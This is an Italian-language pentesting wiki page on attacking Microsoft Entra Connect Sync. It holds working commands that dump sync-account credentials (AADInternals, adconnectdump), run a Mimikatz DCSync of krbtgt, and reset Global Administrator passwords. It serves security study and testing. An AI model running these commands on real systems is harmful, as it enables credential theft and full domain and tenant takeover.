# Az - Connect Sync

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) è un componente principale di Microsoft Entra Connect. Si occupa di tutte le operazioni relative alla sincronizzazione dei dati di identità tra il tuo ambiente on-premises e Microsoft Entra ID.

Il servizio di sincronizzazione è composto da due componenti, il componente on-premises **Microsoft Entra Connect Sync** e la parte lato servizio in Microsoft Entra ID chiamata **Microsoft Entra Connect Sync service**.

Per usarlo, è necessario installare l'agente **`Microsoft Entra Connect Sync`** su un server all'interno del tuo ambiente AD. Questo agente sarà quello che si occuperà della sincronizzazione dal lato AD.


<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>

Il **Connect Sync** è fondamentalmente il modo "vecchio" di Azure per **sincronizzare gli utenti da AD verso Entra ID.** Il modo raccomandato ora è usare **Entra Cloud Sync**:

{{#ref}}
az-cloud-sync.md
{{#endref}}

### Principals generati

- L'account **`MSOL_<installationID>`** viene creato automaticamente nell'AD on-prem. A questo account viene assegnato il ruolo **Directory Synchronization Accounts** (vedi [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) il che significa che ha **permessi di replication (DCSync) nell'AD on-prem**.
- Questo significa che chiunque comprometta questo account potrà compromettere il dominio on-premise.
- Viene creato un managed service account **`ADSyncMSA<id>`** nell'AD on-prem senza privilegi speciali di default.
- In Entra ID viene creato il Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** con un certificato.

## Sincronizzazione delle password

### Password Hash Synchronization

Questo componente può essere usato anche per **sincronizzare le password da AD verso Entra ID** così gli utenti potranno usare le loro password AD per connettersi a Entra ID. Per questo è necessario abilitare la sincronizzazione degli hash delle password nell'agente Microsoft Entra Connect Sync installato su un server AD.

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** è uno dei metodi di sign-in usati per realizzare l'hybrid identity. **Azure AD Connect** sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza Azure AD basata su cloud.

Fondamentalmente, tutti gli **utenti** e un **hash degli hash delle password** vengono sincronizzati dall'on-prem ad Azure AD. Tuttavia, le **password in chiaro** o gli **hash originali** non vengono inviati ad Azure AD.

La **sincronizzazione degli hash** avviene ogni **2 minuti**. Tuttavia, di default, la **scadenza della password** e la **scadenza dell'account** non vengono **sincronizzate** in Azure AD. Quindi, un utente la cui **password on-prem è scaduta** (non cambiata) può continuare ad **accedere alle risorse Azure** usando la vecchia password.

Quando un utente on-prem vuole accedere a una risorsa Azure, l'**autenticazione avviene su Azure AD**.

> [!NOTE]
> Di default gli utenti appartenenti a gruppi privilegiati noti come Domain Admins con l'attributo **`adminCount` impostato a 1 non vengono sincronizzati** con Entra ID per motivi di sicurezza. Tuttavia, altri utenti che fanno parte di gruppi privilegiati senza questo attributo o che hanno privilegi elevati assegnati direttamente **possono essere sincronizzati**.


### Password Writeback

Questa configurazione consente di **sincronizzare le password da Entra ID verso AD** quando un utente cambia la propria password in Entra ID. Nota che per far funzionare il password writeback l'utente `MSOL_<id>` creato automaticamente nell'AD deve ricevere [più privilegi come indicato nella documentazione](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) in modo da poter **modificare le password di qualsiasi utente nell'AD**.

Questo è particolarmente interessante per compromettere l'AD partendo da un Entra ID compromesso, poiché sarai in grado di modificare la password di "quasi" qualsiasi utente.

I Domain Admins e altri utenti appartenenti ad alcuni gruppi privilegiati non vengono replicati se il gruppo ha l'**attributo `adminCount` impostato a 1**. Ma altri utenti a cui sono stati assegnati privilegi elevati all'interno dell'AD senza appartenere a uno di questi gruppi potrebbero vedere la loro password modificata. Per esempio:

- Utenti a cui sono stati assegnati privilegi elevati direttamente.
- Utenti del gruppo **`DNSAdmins`**.
- Utenti del gruppo **`Group Policy Creator Owners`** che hanno creato GPO e li hanno assegnati ad OU potranno modificare i GPO che hanno creato.
- Utenti del gruppo **`Cert Publishers Group`** che possono pubblicare certificati in Active Directory.
- Utenti di qualsiasi altro gruppo con privilegi elevati senza l'**attributo `adminCount` impostato a 1**.

## Pivoting AD --> Entra ID

### Enumerating Connect Sync

Verificare gli utenti:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
Verifica la **Connect Sync configurazione** (se presente):
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### Trovare le password

Le password dell'utente **`MSOL_*`** (e dell'utente **Sync\_\*** se creato) sono **memorizzate in un SQL server** sul server dove è installato **Entra ID Connect.** Gli admin possono estrarre le password di questi utenti privilegiati in chiaro.\
Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.

È possibile estrarre la configurazione da una delle tabelle, una delle quali è cifrata:

`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`

La **configurazione cifrata** è cifrata con **DPAPI** e contiene le **password dell'utente `MSOL_*`** nell'on-prem AD e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo queste credenziali è possibile privesc all'AD e ad AzureAD.

Trovi un [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).

### Abuso di MSOL\_\*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> Attacchi precedenti hanno compromesso l'altra password per poi connettersi all'utente Entra ID chiamato `Sync_*` e successivamente compromettere Entra ID. Tuttavia, questo utente non esiste più.


### Abuso di ConnectSyncProvisioning_ConnectSync\_<id>

Questa applicazione è stata creata senza avere ruoli di gestione Entra ID o Azure assegnati. Tuttavia, ha le seguenti autorizzazioni API:

- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
- Microsoft password reset service
- `PasswordWriteback.OffboardClient.All`
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`

Si segnala che lo SP di questa applicazione può ancora essere utilizzato per eseguire alcune azioni privilegiate tramite un'API non documentata, ma a quanto ne so non è stato ancora trovato alcun PoC.\ In ogni caso, ritenendo possibile questa ipotesi, sarebbe interessante esplorare come trovare il certificato per autenticarsi come questo service principal e provare ad abusarne.

Questo [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) pubblicato poco dopo il passaggio dall'uso dell'utente `Sync_*` a questo service principal, spiegava che il certificato era memorizzato sul server ed era possibile trovarlo, generare il PoP (Proof of Possession) di esso e un graph token, e con questi poter aggiungere un nuovo certificato al service principal (perché un **service principal** può sempre assegnarsi nuovi certificati) e poi usarlo per mantenere la persistenza come SP.

Per eseguire queste azioni sono stati pubblicati i seguenti strumenti: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).

Secondo [questa domanda](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), per trovare il certificato è necessario eseguire lo strumento da un processo che ha **rubato il token del processo `miiserver`**.

### Abuso di Sync\_\* [DEPRECATED]

> [!WARNING]
> In precedenza veniva creato un utente chiamato `Sync_*` in Entra ID con permessi molto sensibili assegnati, che permettevano di eseguire azioni privilegiate come modificare la password di qualsiasi utente o aggiungere una nuova credenziale a un service principal. Tuttavia, da Jan2025 questo utente non viene più creato di default poiché ora viene utilizzata l'Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Può comunque essere presente in alcuni ambienti, quindi vale la pena verificarne la presenza.

Compromettendo l'account **`Sync_*`** è possibile **reimpostare la password** di qualsiasi utente (inclusi i Global Administrators)
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
È anche possibile **modificare le password solo degli utenti cloud** (anche se può essere inaspettato)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
È anche possibile ottenere la password di questo utente.

> [!CAUTION]
> Un'altra opzione sarebbe **assegnare permessi privilegiati a un service principal**, cosa che l'utente **Sync** ha i **permessi** per fare, e poi **accedere a quel service principal** come metodo di privesc.

### Seamless SSO

È possibile usare Seamless SSO con PHS, che è vulnerabile ad altri abusi. Verifica in:

{{#ref}}
az-seamless-sso.md
{{#endref}}

## Pivoting Entra ID --> AD

- Se password writeback è abilitato, puoi **modificare la password di qualsiasi utente nell'AD** che è sincronizzato con Entra ID.
- Se groups writeback è abilitato, puoi **aggiungere utenti a gruppi privilegiati** in Entra ID che sono sincronizzati con l'AD.

## Riferimenti

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)

{{#include ../../../banners/hacktricks-training.md}}
